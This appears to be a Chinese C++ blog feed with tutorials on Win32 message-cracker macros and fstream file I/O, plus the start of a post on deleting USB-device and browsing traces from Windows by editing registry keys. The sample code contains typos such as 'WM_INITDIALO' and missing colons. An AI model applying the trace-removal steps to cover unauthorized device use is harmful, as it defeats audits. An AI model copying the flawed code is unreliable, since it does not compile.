<p style="FONT-SIZE: 12pt">四重，<br>LRESULT CALLBACK WndProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)<br>{<br>&nbsp;switch(msg)<br>&nbsp;{<br>&nbsp;&nbsp;HANDLE_MSG(hwnd, WM_CREATE, Cls_OnCreate);<br>&nbsp;&nbsp;HANDLE_MSG(hwnd, WM_PAINT, Cls_OnPaint);<br>&nbsp;&nbsp;HANDLE_MSG(hwnd, WM_DESTROY, Cls_OnDestroy);<br>&nbsp;}<br>&nbsp;return DefWindowProc(hwnd, msg, wParam, lParam);<br>}</p>
<p style="FONT-SIZE: 12pt">HANDLE_MSG也是一个宏，它在windowsx.h中定义，如下：<br>#define HANDLE_MSG(hwnd, message, fn) case (message): return HANDLE_##message((hwnd), (wParam), (lParam), (fn))</p>
<p style="FONT-SIZE: 12pt">这个宏要做的就是根据不同的message（##用来连接前后的字符串），把自己&#8220;变成&#8221;相应的HANDLE_XXXXMESSAGE形式的宏，再通过相应的宏来执行消息处理代码。<br>说白了，就是把message的消息做为替换，##就是一个替换的标志。<br>如果没有##，就成了HANDLE_message了，这样，宏是不会被代换的。<br>如果就单独一个，则会代换，如hwnd和fn。</p>
<p style="FONT-SIZE: 12pt">比如实际代码中写入：<br>HANDLE_MSG(hwnd, WM_CREATE, Cls_OnCreate)<br>则经过转换就变成：<br>case (WM_CREATE): return HANDLE_WM_CREATE((hwnd), (wParam), (lParam), (Cls_OnCreate))<br>这与二重一模一样。</p>
<p style="FONT-SIZE: 12pt">以上四重，是消息分离器的基本使用，但，这不完整，消息分离器主要应用在对话框消息处理中。<br>这里，窗口子类化是我们经常使用的手段，这也可以通过消息分流器实现，</p>
<p style="FONT-SIZE: 12pt">第五重<br>LRESULT CALLBACK Dlg_Proc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)<br>{<br>&nbsp;switch(msg)<br>&nbsp;{<br>&nbsp;&nbsp;HANDLE_MSG(hwnd, WM_INITDIALO , Cls_OnInitDialog); // 不能直接使用HANDLE_MSG宏<br>&nbsp;&nbsp;HANDLE_MSG(hwnd, WM_COMMAND, Cls_OnCommand); // 不能直接使用HANDLE_MSG宏<br>&nbsp;}<br>&nbsp;return false;<br>} <br>由于是窗口子类化，所以，最后，返回的是false，以表明，如果没有约定响应的消息，<br>则返回父亲窗口false，如果有，则返回ture，这是与前四重不同的地方。<br>一般情况下，对话框过程函数应该在处理了消息的情况下返回TRUE，如果没有处理，则返回FALSE。<br>如果对话框过程返回了FALSE，那么对话框管理器为这条消息准备默认的对话操作。</p>
<p style="FONT-SIZE: 12pt">但是，这其中有错误，因为有的消息,需要单独处理。单独处理的消息列表见SetDlgMsgResult宏。</p>
<p style="FONT-SIZE: 12pt">第六重<br>这点小问题，这就需要用到SetDlgMsgResult(hwnd, msg, result)宏。 </p>
<p style="FONT-SIZE: 12pt">LRESULT CALLBACK Dlg_Proc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)<br>{<br>switch(msg)<br>&nbsp;{<br>&nbsp;case WM_INITDIALO:<br>&nbsp;return (SetDlgMsgResult(hwnd, Msg, HANDLE_WM_INITDIALO((hwnd), (wParam), (lParam), (fn)));</p>
<p style="FONT-SIZE: 12pt">&nbsp;case WM_COMMAND:<br>&nbsp;return (SetDlgMsgResult(hwnd, Msg, HANDLE_WM_COMMAND((hwnd), (wParam), (lParam), (fn)));<br>&nbsp;}<br>return false;<br>} <br>这里，就用直接用到了第二重的消息分流器，而抛弃了其他。</p>
<p style="FONT-SIZE: 12pt">这个宏定义如下：<br>#define SetDlgMsgResult(hwnd, msg, result) <br>(<br>&nbsp;( <br>&nbsp;(msg) == WM_CTLCOLORMSGBOX || <br>&nbsp;(msg) == WM_CTLCOLOREDIT || <br>&nbsp;(msg) == WM_CTLCOLORLISTBOX || <br>&nbsp;(msg) == WM_CTLCOLORBTN || <br>&nbsp;(msg) == WM_CTLCOLORDLG || <br>&nbsp;(msg) == WM_CTLCOLORSCROLLBAR || <br>&nbsp;(msg) == WM_CTLCOLORSTATIC || <br>&nbsp;(msg) == WM_COMPAREITEM || <br>&nbsp;(msg) == WM_VKEYTOITEM || <br>&nbsp;(msg) == WM_CHARTOITEM || <br>&nbsp;(msg) == WM_QUERYDRAGICON || <br>&nbsp;(msg) == WM_INITDIALOG <br>&nbsp;) ? <br>&nbsp;(BOOL)(result) : <br>&nbsp;(SetWindowLongPtr((hwnd), DWLP_MSGRESULT, (LPARAM)(LRESULT)(result)), TRUE)<br>)</p>
<p style="FONT-SIZE: 12pt">为了表述清楚，所以用了此格式，这是一个三项表达式，首先对消息类型进行考察。</p>
<p style="FONT-SIZE: 12pt">如果对话框过程处理的消息恰巧为返回特定值中的一个，则如实返回result；<br>不要被前面的BOOL蒙蔽，BOOL在头文件中的定义实际上是一个int型，<br>一旦需要返回非TRUE或FALSE的其他值，照样可以；</p>
<p style="FONT-SIZE: 12pt">这样，我们的Cls_OnInitDialog就能够正确的返回它的BOOL值了，<br>而Cls_OnCommand在处理之后，也可以由后面的逗号表达式正确的返回一个TRUE表示消息已处理。</p>
<p style="FONT-SIZE: 12pt">第七重<br>我们还可以把case也包含进来，就成了如下的样子。</p>
<p style="FONT-SIZE: 12pt">LRESULT CALLBACK Dlg_Proc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)<br>{<br>&nbsp;switch(msg)<br>&nbsp;{<br>&nbsp;chHANDLE_DLGMSG(hwnd, WM_INITDIALOG, Cls_OnInitDialog); <br>&nbsp;chHANDLE_DLGMSG(hwnd, WM_COMMAND, Cls_OnCommand); <br>&nbsp;}<br>&nbsp;return false;<br>}</p>
<p style="FONT-SIZE: 12pt">chHANDLE_DLGMSG是牛人定义的一个宏，它把case也包含进来了。<br>#define chHANDLE_DLGMSG(hwnd, message, fn) case (message): return (SetDlgMsgResult(hwnd, uMsg, HANDLE_##message((hwnd), (wParam), (lParam), (fn)))) </p>
<p style="FONT-SIZE: 12pt">这样，程序中的语句<br>&nbsp;switch (uMsg) <br>&nbsp;{<br>&nbsp;&nbsp;chHANDLE_DLGMSG(hwnd, WM_INITDIALOG, Dlg_OnInitDialog);<br>&nbsp;&nbsp;chHANDLE_DLGMSG(hwnd, WM_SIZE,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dlg_OnSize);<br>&nbsp;&nbsp;chHANDLE_DLGMSG(hwnd, WM_COMMAND,&nbsp;&nbsp;&nbsp; Dlg_OnCommand);<br>&nbsp;}</p>
<p style="FONT-SIZE: 12pt">就被翻译成：<br>&nbsp;switch (uMsg)<br>&nbsp;{<br>&nbsp;case (WM_INITDIALOG):<br>&nbsp;&nbsp;return (SetDlgMsgResult(hwnd, uMsg, HANDLE_WM_INITDIALOG((hwnd), (wParam), (lParam), (Dlg_OnInitDialog))));</p>
<p style="FONT-SIZE: 12pt">&nbsp;case (WM_SIZE)<br>&nbsp;&nbsp;return (SetDlgMsgResult(hwnd, uMsg, HANDLE_WM_SIZE((hwnd), (wParam), (lParam), (Dlg_OnSize))));</p>
<p style="FONT-SIZE: 12pt">&nbsp;case (WM_COMMAND)<br>&nbsp;&nbsp;return (SetDlgMsgResult(hwnd, uMsg, HANDLE_WM_COMMAND((hwnd), (wParam), (lParam), (Dlg_OnCommand))));<br>&nbsp;}<br></p>
<p style="FONT-SIZE: 12pt">这样,消息分流器,就介绍完毕.</p>
<img src ="http://www.cppblog.com/saga/aggbug/31311.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2007-09-04 13:40 <a href="http://www.cppblog.com/saga/archive/2007/09/04/31311.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转帖]fstream的使用方法介绍</title><link>http://www.cppblog.com/saga/archive/2007/06/19/26652.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Tue, 19 Jun 2007 15:46:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2007/06/19/26652.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/26652.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2007/06/19/26652.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/26652.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/26652.html</trackback:ping><description><![CDATA[<p>在C++中，有一个stream这个类，所有的I/O都以这个&#8220;流&#8221;类为基础的，包括我们要认识的文件I/O，stream这个类有两个重要的运算符：</p>
<p>1、插入器(&lt;&lt;)<br>　　向流输出数据。比如说系统有一个默认的标准输出流(cout)，一般情况下就是指的显示器，所以，cout&lt;&lt;"Write Stdout"&lt;&lt;' ';就表示把字符串"Write Stdout"和换行字符(' ')输出到标准输出流。</p>
<p>2、析取器(&gt;&gt;)<br>　　从流中输入数据。比如说系统有一个默认的标准输入流(cin)，一般情况下就是指的键盘，所以，cin&gt;&gt;x;就表示从标准输入流中<a name=1></a><strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">读取</strong>一个指定类型(即变量x的类型)的数据。</p>
<p>　　在C++中，对文件的操作是通过stream的子类<a name=0></a><strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>(file stream)来实现的，所以，要用这种方式操作文件，就必须加入头文件<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>.h。下面就把此类的文件操作过程一一道来。</p>
<p>一、打开文件<br>　　在<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>类中，有一个成员函数open()，就是用来打开文件的，其原型是：</p>
<p>void open(const char* filename,int mode,int access);</p>
<p>参数：</p>
<p>filename：　　要打开的文件名 <br>mode：　　　　要打开文件的方式 <br>access：　　　打开文件的属性<br>打开文件的方式在类ios(是所有流式I/O类的基类)中定义，常用的值如下： </p>
<p>ios::app：　　　以追加的方式打开文件 <br>ios::ate：　　　文件打开后定位到文件尾，ios:app就包含有此属性 <br>ios::binary： 　以<a name=2></a><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">二进制</strong>方式打开文件，缺省的方式是文本方式。两种方式的区别见前文 <br>ios::in：　　　 文件以输入方式打开 <br>ios::out：　　　文件以输出方式打开 <br>ios::nocreate： 不建立文件，所以文件不存在时打开失败　 <br>ios::noreplace：不覆盖文件，所以打开文件时如果文件存在失败 <br>ios::trunc：　　如果文件存在，把文件长度设为0 <br>　　可以用&#8220;或&#8221;把以上属性连接起来，如ios::out|ios::binary</p>
<p>　　打开文件的属性取值是：</p>
<p>0：普通文件，打开访问 <br>1：只读文件 <br>2：隐含文件 <br>4：系统文件 <br>　　可以用&#8220;或&#8221;或者&#8220;+&#8221;把以上属性连接起来 ，如3或1|2就是以只读和隐含属性打开文件。</p>
<p>　　例如：以<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">二进制</strong>输入方式打开文件c:config.sys </p>
<p>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong> file1;<br>　　file1.open("c:\config.sys",ios::binary|ios::in,0);</p>
<p>　　如果open函数只有文件名一个参数，则是以读/写普通文件打开，即：</p>
<p>　　file1.open("c:\config.sys");&lt;=&gt;file1.open("c:\config.sys",ios::in|ios::out,0);</p>
<p>　　另外，<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>还有和open()一样的构造函数，对于上例，在定义的时侯就可以打开文件了：</p>
<p>　　<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong> file1("c:\config.sys");</p>
<p>　　特别提出的是，<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>有两个子类：ifstream(input file stream)和ofstream(outpu file stream)，ifstream默认以输入方式打开文件，而ofstream默认以输出方式打开文件。</p>
<p>　　ifstream file2("c:\pdos.def");//以输入方式打开文件<br>　　ofstream file3("c:\x.123");//以输出方式打开文件</p>
<p>　　所以，在实际应用中，根据需要的不同，选择不同的类来定义：如果想以输入方式打开，就用ifstream来定义；如果想以输出方式打开，就用ofstream来定义；如果想以输入/输出方式来打开，就用<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>来定义。</p>
<p>二、关闭文件<br>　　打开的文件使用完成后一定要关闭，<strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">fstream</strong>提供了成员函数close()来完成此操作，如：file1.close();就把file1相连的文件关闭。</p>
<p>三、读写文件<br>　　读写文件分为文本文件和<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">二进制</strong>文件的<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">读取</strong>，对于文本文件的<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">读取</strong>比较简单，用插入器和析取器就可以了；而对于<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">二进制</strong>的<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">读取</strong>就要复杂些，下要就详细的介绍这两种方式</p>
<p>　　1、文本文件的读写<br>　　文本文件的读写很简单：用插入器(&lt;&lt;)向文件输出；用析取器(&gt;&gt;)从文件输入。假设file1是以输入方式打开，file2以输出打开。示例如下：</p>
<p>　　file2&lt;&lt;"I Love You";//向文件写入字符串"I Love You"<br>　　int i;<br>　　file1&gt;&gt;i;//从文件输入一个整数值。 </p>
<p>　　这种方式还有一种简单的格式化能力，比如可以指定输出为16进制等等，具体的格式有以下一些</p>
<p>操纵符 功能 输入/输出 <br>dec 格式化为十进制数值数据 输入和输出 <br>endl 输出一个换行符并刷新此流 输出 <br>ends 输出一个空字符 输出 <br>hex 格式化为十六进制数值数据 输入和输出 <br>oct 格式化为八进制数值数据 输入和输出 <br>setpxecision(int p) 设置浮点数的精度位数 输出 </p>
<p>　　比如要把123当作十六进制输出：file1&lt; </p>
<p>　　2、<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">二进制</strong>文件的读写<br>①put()<br>　　put()函数向流写入一个字符，其原型是ofstream &amp;put(char ch)，使用也比较简单，如file1.put('c');就是向流写一个字符'c'。 </p>
<p>②get()<br>　　get()函数比较灵活，有3种常用的重载形式：</p>
<p>　　一种就是和put()对应的形式：ifstream &amp;get(char &amp;ch);功能是从流中<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">读取</strong>一个字符，结果保存在引用ch中，如果到文件尾，返回空字符。如file2.get(x);表示从文件中<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">读取</strong>一个字符，并把<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">读取</strong>的字符保存在x中。</p>
<p>　　另一种重载形式的原型是： int get();这种形式是从流中返回一个字符，如果到达文件尾，返回EOF，如x=file2.get();和上例功能是一样的。</p>
<p>　　还有一种形式的原型是：ifstream &amp;get(char *buf,int num,char delim=' ')；这种形式把字符读入由 buf 指向的数组，直到读入了 num 个字符或遇到了由 delim 指定的字符，如果没使用 delim 这个参数，将使用缺省值换行符' '。例如：</p>
<p>　　file2.get(str1,127,'A');//从文件中<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">读取</strong>字符到字符串str1，当遇到字符'A'或<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">读取</strong>了127个字符时终止。</p>
<p>③读写数据块<br>　　要读写<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">二进制</strong>数据块，使用成员函数read()和write()成员函数，它们原型如下：</p>
<p>　　　　read(unsigned char *buf,int num);<br>　　　　write(const unsigned char *buf,int num);</p>
<p>　　read()从文件中<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">读取</strong> num 个字符到 buf 指向的缓存中，如果在还未读入 num 个字符时就到了文件尾，可以用成员函数 int gcount();来取得实际<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">读取</strong>的字符数；而 write() 从buf 指向的缓存写 num 个字符到文件中，值得注意的是缓存的类型是 unsigned char *，有时可能需要类型转换。</p>
<p>例：</p>
<p>　　　　unsigned char str1[]="I Love You";<br>　　　　int n[5];<br>　　　　ifstream in("xxx.xxx");<br>　　　　ofstream out("yyy.yyy");<br>　　　　out.write(str1,strlen(str1));//把字符串str1全部写到yyy.yyy中<br>　　　　in.read((unsigned char*)n,sizeof(n));//从xxx.xxx中<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">读取</strong>指定个整数，注意类型转换<br>　　　　in.close();out.close(); </p>
<p>四、检测EOF<br>　　成员函数eof()用来检测是否到达文件尾，如果到达文件尾返回非0值，否则返回0。原型是int eof();</p>
<p>例：　　if(in.eof())ShowMessage("已经到达文件尾！");</p>
<p>五、文件定位<br>　　和C的文件操作方式不同的是，C++ I/O系统管理两个与一个文件相联系的指针。一个是读指针，它说明输入操作在文件中的位置；另一个是写指针，它下次写操作的位置。每次执行输入或输出时，相应的指针自动变化。所以，C++的文件定位分为读位置和写位置的定位，对应的成员函数是 seekg()和 seekp()，seekg()是设置读位置，seekp是设置写位置。它们最通用的形式如下：</p>
<p>　　　　istream &amp;seekg(streamoff offset,seek_dir origin);<br>　　　　ostream &amp;seekp(streamoff offset,seek_dir origin); </p>
<p>　　streamoff定义于 iostream.h 中，定义有偏移量 offset 所能取得的最大值，seek_dir 表示移动的基准位置，是一个有以下值的枚举： </p>
<p>ios::beg：　　文件开头 <br>ios::cur：　　文件当前位置 <br>ios::end：　　文件结尾 <br>　　这两个函数一般用于<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">二进制</strong>文件，因为文本文件会因为系统对字符的解释而可能与预想的值不同。</p>
<p>例：</p>
<p>　　　　 file1.seekg(1234,ios::cur);//把文件的读指针从当前位置向后移1234个字节<br>　　　　 file2.seekp(1234,ios::beg);//把文件的写指针从文件开头向后移1234个字节 </p>
<img src ="http://www.cppblog.com/saga/aggbug/26652.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2007-06-19 23:46 <a href="http://www.cppblog.com/saga/archive/2007/06/19/26652.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[翻译]什么是“流”（What a Stream Is）？</title><link>http://www.cppblog.com/saga/archive/2007/06/19/26650.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Tue, 19 Jun 2007 13:26:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2007/06/19/26650.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/26650.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2007/06/19/26650.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/26650.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/26650.html</trackback:ping><description><![CDATA[取自MSND，<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;像C，C++语言都没有内置输入输出的功能。所有的C++编译器，都捆绑着一个像iostream的类这样的面向对象的系统的包(package)。&#8220;流&#8221;是iostream的核心概念。你可以把&#8220;流&#8221;理解成为不停的从源头向目标搬运着字节的一种特殊的文件对象。一种&#8220;流&#8221;的特性由他的类和他自定义的输入输出符号决定。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;经由设备驱动，磁盘操作系统控制着键盘，屏幕，打印机和以通信端口形式存在的扩展文件。I/O流作用于这些扩展文件。内置的类(classes)提供于磁盘I/O相同语法的读取与写入功能，使用&#8220;流&#8221;还会使得这些变得更简单宜行。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;C++库里面最重要的输出流(output stream)类是ostream，ofstream，ostrstream。他们继承于basic_ostream。<br>同样最重要的输入流(input stream)类是istream，ifstream，istrstream。
<img src ="http://www.cppblog.com/saga/aggbug/26650.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/saga/" target="_blank">saga.constantine</a> 2007-06-19 21:26 <a href="http://www.cppblog.com/saga/archive/2007/06/19/26650.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[收集]计算机痕迹的简单消除</title><link>http://www.cppblog.com/saga/archive/2007/05/21/24566.html</link><dc:creator>saga.constantine</dc:creator><author>saga.constantine</author><pubDate>Mon, 21 May 2007 15:12:00 GMT</pubDate><guid>http://www.cppblog.com/saga/archive/2007/05/21/24566.html</guid><wfw:comment>http://www.cppblog.com/saga/comments/24566.html</wfw:comment><comments>http://www.cppblog.com/saga/archive/2007/05/21/24566.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.cppblog.com/saga/comments/commentRss/24566.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/saga/services/trackbacks/24566.html</trackback:ping><description><![CDATA[<p><span style="FONT-SIZE: 12pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;有时候计算机上的一些痕迹很麻烦，总是想去掉。比如：USB闪存，移动硬盘，上网，还有计算机上已经删除的文件。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我来一个一个说说简单的处理方法。不敢保证100%，但是应该差不多。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;一.USB移动存储介质痕迹的清除。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 只要你的机器上插上过USB移动存储设备，就会留下痕迹。包括设备的型号，首次使用时间，最近使用时间的记录。下载工具</span><a href="http://www.cppblog.com/Files/saga/USBlog.rar"><span style="FONT-SIZE: 12pt; COLOR: red">www.cppblog.com/Files/saga/USBlog.rar</span></a><span style="FONT-SIZE: 12pt">。解压后运行USBlog.exe就会在桌面上生成机器使用USB移动存储设备的使用记录。是txt格式的文本。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这个的原理是因为每次插上新的USB硬件设备的时候就会在注册表里面自动的记录下来。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 删除的方法如下：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1.按开始--〉运行，在输入框里输入命令：regedit<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2.删除注册表中<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（1）HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\USBSTOR<br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（2）HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\USBSTOR <br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（3）HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Enum\USBSTOR<br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（4）HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这些路径下USBSTOR子项的全部下级子项。删除时要注意先要给其添加权限，方法是：在找到如下<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;USBSTOR子项上按鼠标右键，接着在弹出菜单上选权限，给everyone用户授与完全控制的权限。然后<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;就应该可以删除了。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3.要彻底清除USB使用记录，完成上述操作后，要接着删除<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（1）HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\USB <br>　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;　 （2）HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Enum\USB<br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（3）HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Enum\USB<br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（4）HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这些路径下除ROOT_HUB、ROOT_HUB20外的所有子项。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4.然后删除DeviceClasses下的a5d...、53f...等含usb字眼的部分子项。如<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（1）HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{a5dcbf10-6530-11d2-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;901f-00c04fb951ed}<br>　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（2）HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\DeviceClasses\{a5dcbf10-6530-11d2-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;901f-00c04fb951ed}<br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;（3）HKEY_LOCAL_MACHINE\SYSTEM\ControlSet003\Control\DeviceClasses\{a5dcbf10-6530-11d2-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;901f-00c04fb951ed}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;<br>　　&nbsp;&nbsp;　 （4）HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\DeviceClasses\{53f56307-b6bf-11d0-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;94f2-00a0c91efb8b}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;等。<br>最后在用USBlog检查一下，没有记录就OK<img height=21 src="http://www.cppblog.com/Emoticons/QQ/icon14.gif" width=20 border=0>。但是强烈建议在修改注册表之前进行备份。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;二.上网痕迹的清除。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;①清空Internet临时文件夹 <br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;依次单击IE菜单栏中的&#8220;工具&#8221;&#8594;&#8220;Internet选项&#8221;，打开&#8220;Internet选项&#8221;对话框，在&#8220;常规&#8221;标签中点击&#8220;删除文件&#8221;按钮，在弹出的&#8220;删除文件&#8221;窗口中勾选&#8220;删除所有脱机内容&#8221;，最后点击&#8220;确定&#8221;。当然也可以删除"C:\Documents and 